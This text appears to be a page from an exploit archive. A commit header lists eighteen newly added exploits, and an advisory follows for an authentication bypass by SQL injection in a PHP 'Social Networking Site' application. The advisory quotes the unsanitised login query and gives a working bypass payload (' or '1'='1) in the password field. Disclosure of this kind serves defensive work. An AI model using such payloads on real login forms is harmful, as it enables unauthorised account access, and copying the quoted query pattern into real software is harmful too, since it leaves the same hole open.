4b9e53700f
18 changes to exploits/shellcodes 10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH) EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path TypeSetter 5.1 - CSRF (Change admin e-mail) Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting Online Shopping Alphaware 1.0 - Error Based SQL injection Pharmacy/Medical Store & Sale Point 1.0 - 'email' SQL Injection Setelsa Conacwin 3.7.1.2 - Local File Inclusion Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting Medical Center Portal Management System 1.0 - 'login' SQL Injection Pandora FMS 7.0 NG 749 - Multiple Persistent Cross-Site Scripting Vulnerabilities # Date: 11-14-2020 Social Networking Site - Authentication Bypass (SQli) Tendenci 12.3.1 - CSV/ Formula Injection
30 lines
No EOL
1.1 KiB
Text
30 lines
No EOL
1.1 KiB
Text
# Exploit Title: Social Networking Site - Authentication Bypass (SQli)
|
|
# Date: 2020-11-17
|
|
# Exploit Author: gh1mau
|
|
# Email: gh1mau.rulez@gmail.com
|
|
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
|
|
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
|
|
# Software Release Date: November 17, 2020
|
|
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
|
|
|
|
Vulnerable File:
|
|
----------------
|
|
/signin_form.php
|
|
|
|
Vulnerable Code:
|
|
-----------------
|
|
Entry point:
|
|
|
|
line 7: $email=$_POST['email'];
|
|
line 8: $password=$_POST['password'];
|
|
|
|
Exit point:
|
|
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");
|
|
|
|
Vulnerable Issue:
|
|
-----------------
|
|
Attacker could bypass the authentication using simple sqli login bypass payload
|
|
|
|
username: gh1mau@gh1mau.com
|
|
password: ' or '1'='1 |